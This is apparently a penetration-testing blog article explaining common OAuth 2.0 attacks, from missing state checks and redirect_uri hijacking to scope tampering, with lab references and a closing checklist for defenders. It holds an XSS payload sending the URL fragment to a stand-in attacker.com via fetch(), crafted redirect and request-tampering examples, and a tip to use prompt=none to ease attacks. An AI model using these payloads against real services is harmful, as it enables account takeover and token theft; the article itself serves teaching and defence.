10 min #oauth #web security #pentesting

Most Common OAuth 2.0 Attacks

OAuth 2.0 and OpenID Connect power most modern “Log in with …” buttons. When implemented incorrectly, they also open the door to account takeover, privilege escalation, and subtle logic bugs. In this article, we’ll walk through the most common OAuth attacks from a pentester’s perspective, with practical flows you can reproduce on labs and in real-world assessments.



Version 1.0 Updated:

Introduction

In this article we will focus on the most common OAuth 2.0 Attacks:

  • OAuth CSRF (Improper State Handling)
  • Account Hijacking (Redirect Attack)
  • OAuth response exfiltration via URL fragment
  • Mutable Claims (Account Takeover via Email)
  • Scope Upgrade Attack

For every security flaw, one or more practical examples are provided to facilitate straightforward understanding of the underlying issue.

(At the end you can find the tip for pentesters which makes the attacks even more dangerous)

OAuth CSRF (Improper State Handling)

State is optional in OAuth 2.0 by specification, but it is the primary CSRF protection mechanism and SHOULD always be used. Modern OIDC flows often use both state and nonce.

In this section, I will explain the importance of the state parameter. Many of you are probably already familiar with CSRF attacks. In the context of OAuth, we must also protect against them, as missing safeguards can lead to unauthorized access to another user’s information.

However logging someone to our own account with specially crafted link is definitely not a big flaw UNTIL we touch integrations which can merge with each other e.g. Google Calendar - the risk here mostly depends on the specific implementation which uses OAuth.

Example 1 - Missing state Parameter

You can practice this kind of bug on the PortSwigger lab: Forced OAuth profile linking .

In the first example I will show the simplest way of CSRF exploitation where Client Application does not check in any way for existence and correctness of state parameter.

Imagine you have the following flow:

  1. Attacker provides username and password to login to Client Application (not logging in with OAuth Provider)
  2. There is an option to link their social media account using the OAuth Flow
  3. During flow there is the following request which links the account to Client Application:
https://client-application.com/oauth-linking?code=ATTACKER_CODE

Originally it is used for linking attacker's account but since there is no check who actually is running this OAuth link we can drop the request in our browser and send it to the victim.

When the victim enters the link above their social media account becomes associated with attacker's account.

Example 2 - Improper Validation of state

The Client Application check only for existence of state parameter in the application.

Imagine you have the following flow:

  1. Attacker provides username and password to login to Client Application (not logging in with OAuth Provider)
  2. There is an option to link their social media account using the OAuth Flow
  3. During flow there is the following request which links the account to Client Application:
https://client-application.com/oauth-linking?code=ATTACKER_CODE&state=ATTACKER_STATE

At the first sight we can think that the application is secure since it uses the state in the request flow. Unfortunately there can still be problems when it comes to that implementation - one of them can be improper check for state parameter where Client Application only check for state code existence without checking its connection to the code parameter which makes state parameter completely useless.

If that is the case attack does not differ from previous example except the fact that the link used for the attack is a little bit longer.

Account Hijacking (Redirect Attack)

In this example an attacker is able to hijack other user's account by manipulating the redirect_url parameter and stealing their OAuth code returned by OAuth Provider.

Remember how during initial request to OAuth provider web browser send the request below in certain flows?

GET /authorize?client_id=abc123456789
    &redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
    &response_type=code
    &scope=read_profile%20read_email
    &state=9f8b7c6d5e4f3210
HTTP/1.1
Host: oauth-provider.com

If redirect_uri parameter is not checked properly we (as attackers) can intercept request from OAuth Provider (example below):

GET /callback?code=SplxlOBeZQQYbYS6WxSbIA
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: client-application.com

If that information comes to us instead of client server we are able to hijack other person account.

State or nonce protection does not necessarily prevent these attacks because an attacker can generate new values from their own browser.

Example 1 - Complete lack of validation

Complete lack of validation is pretty much dead at this point but helps in understanding the context before moving to more advanced techniques.
The simplest form of this attack can be tested on Portswigger: OAuth Account Hijacking via Redirect URI .

In the web application we have the initial call to OAuth provider when we passing the following parameters:

  • client_id
    (unique identifier of the client application)
  • redirect_uri
    (URI to which the user's browser should be redirected when sending the authorization code to the client application)
  • response_type
    (type of response the client application is expecting)
  • scope
    (scope of returned data by OAuth provider)
  • state
    (CSRF protection)
  • PCKE
    (Optional, prevention for authorization code interception attacks - more on that topic later)

Our job is to swap the request with redirect_uri pointed to our web server. If there is no validation of validation is incorrectly validated then...

Victim Authorize access from our malicious link.

And the tokens go to the attacker as we can see in the picture below.

Example 2 - Using Unsafe Redirects on Client Domain

Right now we will on more up to date attack. Since in the most web applications there is implementation of domain validation we have to try a little bit harder. This is where vulnerability chaining comes into play.

If in the Client Application there is Open Redirect vulnerability triggered by GET request we can try to use it in our attack.

How does it look like in action?

1. Find Open Redirect vulnerability in the Client Application:

For the sake of easy explanation lets assume it looks like that:

https://client-application.com/redir/attacker-controlled-domain.com

2. Adjust the payload to bypass the restrictions

There are a lot of ways to play with redirections during the check - in order to get to know them you can visit: PayloadsAllTheThings Open Redirect

Imagine our restriction looks like this (Of course the implementation is on OAuth Provider side):

if redirect_uri.startswith("https://client-application.com/callback"):
    allow()

in that case we still are able to perform an attack. How?

We just paste the correct path and then use URL path traversal to input our malicious path.

https://client-application.com/callback/../redir/attacker-controlled-domain.com

3. Input our malicious link inside OAuth Flow and send the url to the victim:

https://client-application.com/authorize?client_id=abc123456789&redirect_uri=https%3A%2F%2Fclient-application.com%2Fcallback%2F..%2Fredir%2Fattacker-controlled-domain.com&response_type=code&scope=read_profile%20read_email&state=9f8b7c6d5e4f3210

4. When victim will log in we as attackers will obtain the authorization code, exchange it for session cookie which is successful indication of account hijacking:

GET /callback?code=SplxlOBeZQQYbYS6WxSbIA
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: client-application.com

OAuth Response Exfiltration via URL Fragment

In OAuth during the flow we can use response_mode with fragment value. It causes the OAuth provider to return the parameters within the URL:

https://client-application.com/#code=SplxlOBeZQQYbYS6WxSbIA&state=9f8b7c6d5e4f3210

If we can:

  • Make an application do not consume the code
  • Read victim URL (XSS / Any other vulnerability which leaks the URL)

We can takeover someones OAuth flow.

Example 1 - OAuth Response Exfiltration Using XSS

If the requirements from above will be satisfied we can try to exfiltrate the URL with sensitive data using Cross Site Scripting. Below you can find sample payload which is able to do that:

<img src="x" onerror='fetch("https://attacker.com/collect",{method:"POST",body:document.location.hash})'>

Mutable Claims (Account Takeover via Email)

In this scenario the application uses mutable fields to identify users.

What does mutable mean in this context?

Mutable claim is any identity attribute provided by an Identity Provider (IdP) that can be changed by the user after their account is created.

Examples of mutable claims:

  • Email address (many IdPs allow unverified emails to appear in the claims)
  • Display name
  • Phone number (many IdPs allow unverified phone numbers to appear in the claims)

Examples of non-mutable claims:

  • sub (the unique subject identifier)
  • oid (Azure AD Object ID)
  • Internal immutable user IDs

Example 1 - Account Takeover via Email

Let's say our OAuth Provider is GitHub. Let's say for the sake of this example in GitHub there is a possibility to change our email without confirming it (in the profile setting there is information about confirmation but still the new email reflect in account information).

If Client Application links accounts based on email instead of sub parameter there is a possibility of hijacking account. That is how it is done:

1. An attacker set his email in GitHub to victim's email:

[email protected] -> [email protected]

2. The app links account based on email provided from Identity Provider account information.

3. The attacker gains access to Victim's repos.

Client Confusion Attack

During this attack a token issued for one client is accepted by another which results in linking victim's account to our own.

Example 1 - Authentication Bypass via Implicit Flow

Lab with this vulnerability can be found here: OAuth Authentication Bypass via OAuth Implicit Flow

Let's say we have an application where we log in using social media account.

Then we Authorize the Client Application.

During the Authorization flow we can find the following request with our email - [email protected].

POST /authenticate HTTP/2
Host: 0a170049035395bb81056bfe00fa009f.web-security-academy.net
Cookie: session=62QwvQe36ceBklSWeu2NbIIcXKWkOP61
Content-Length: 103
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: pl-PL,pl;q=0.9
Accept: application/json
Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Origin: https://0a170049035395bb81056bfe00fa009f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a170049035395bb81056bfe00fa009f.web-security-academy.net/oauth-callback
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"email":"[email protected]","username":"wiener","token":"J-cQ7AFMV6kR__HmqZYznF8ChjVtdSzYoVIUs9jSB8a"}

If we will change information in json of our email:

{"email":"[email protected]","username":"wiener","token":"J-cQ7AFMV6kR__HmqZYznF8ChjVtdSzYoVIUs9jSB8a"}

To victims email:

{"email":"[email protected]","username":"wiener","token":"J-cQ7AFMV6kR__HmqZYznF8ChjVtdSzYoVIUs9jSB8a"}

Our account links to victims OAuth account:

Scope Upgrade Attack

During the token exchange phase, an attacker intercepts and alters the requested scope, resulting in a token with elevated or unintended permissions.

Example 1 - Request Tampering

Imagine we are into the OAuth flow and we encounter the request where the scope is defined:

GET /authorize?client_id=abc123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&response_type=code
&scope=read_profile%20read_email
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: oauth-provider.com

When the server does not validate the scope attacker is able to elevate his privileges:

GET /authorize?client_id=abc123456789
&redirect_uri=https%3A%2F%2Fexample-app.com%2Fcallback
&response_type=code
&scope=administrator
&state=9f8b7c6d5e4f3210
HTTP/1.1
Host: oauth-provider.com

Of course this vulnerability strongly is based on Client Application logic and specific OAuth implementation.

The authorization server should ignore user-modified scopes and enforce server-side predefined scopes. If it trusts the user’s request, privilege escalation becomes possible.

Tip for Pentesters - prompt=none Makes Attacks Easier

This setting can ease the attack for the offensive side.

Usually during the OAuth flow we use the following parameter:

prompt=consent

Which shows up the following dialog box:

Sometimes we can use prompt parameter with none value in our payload which skips entirely the dialog box which greately increases likelihood of the attack.

prompt=none

Conclusion

OAuth vulnerabilities are rarely about crypto or protocol design. In real applications they are almost always implementation and configuration issues: weak state handling, sloppy redirect_uri validation, trusting mutable claims, accepting tokens for the wrong client or not constraining scopes.

Quick checklist for engineers and security teams:

  • Always use Authorization Code + PKCE instead of Implicit Flow.
  • Generate and validate per-session state (and nonce for OIDC).
  • Configure a strict allowlist of redirect_uri values per client.
  • Link accounts using stable identifiers like sub/oid, not mutable fields like email alone.
  • Validate audience, issuer and client for every token you consume.
  • Define allowable scopes server-side; never fully trust client-supplied scope values.
  • Harden callback endpoints against XSS and URL-leak vulnerabilities.

If your organization relies heavily on OAuth/OIDC, regular security testing and protocol-aware code review are essential. A single misconfiguration can easily turn “Log in with” into “Take over any account with”.

Hacker Studio

Secure Your Organization

We offer professional penetration testing services to help you identify and fix security weaknesses before attackers do. Tailored assessments for web apps, APIs, networks and cloud infrastructure - with clear reports and remediation guidance.

  • Expert manual penetration testing
  • Actionable reports with PoCs and remediation steps
  • Post-test support & retesting
Ready to reduce risk and strengthen defenses? Click through to learn more.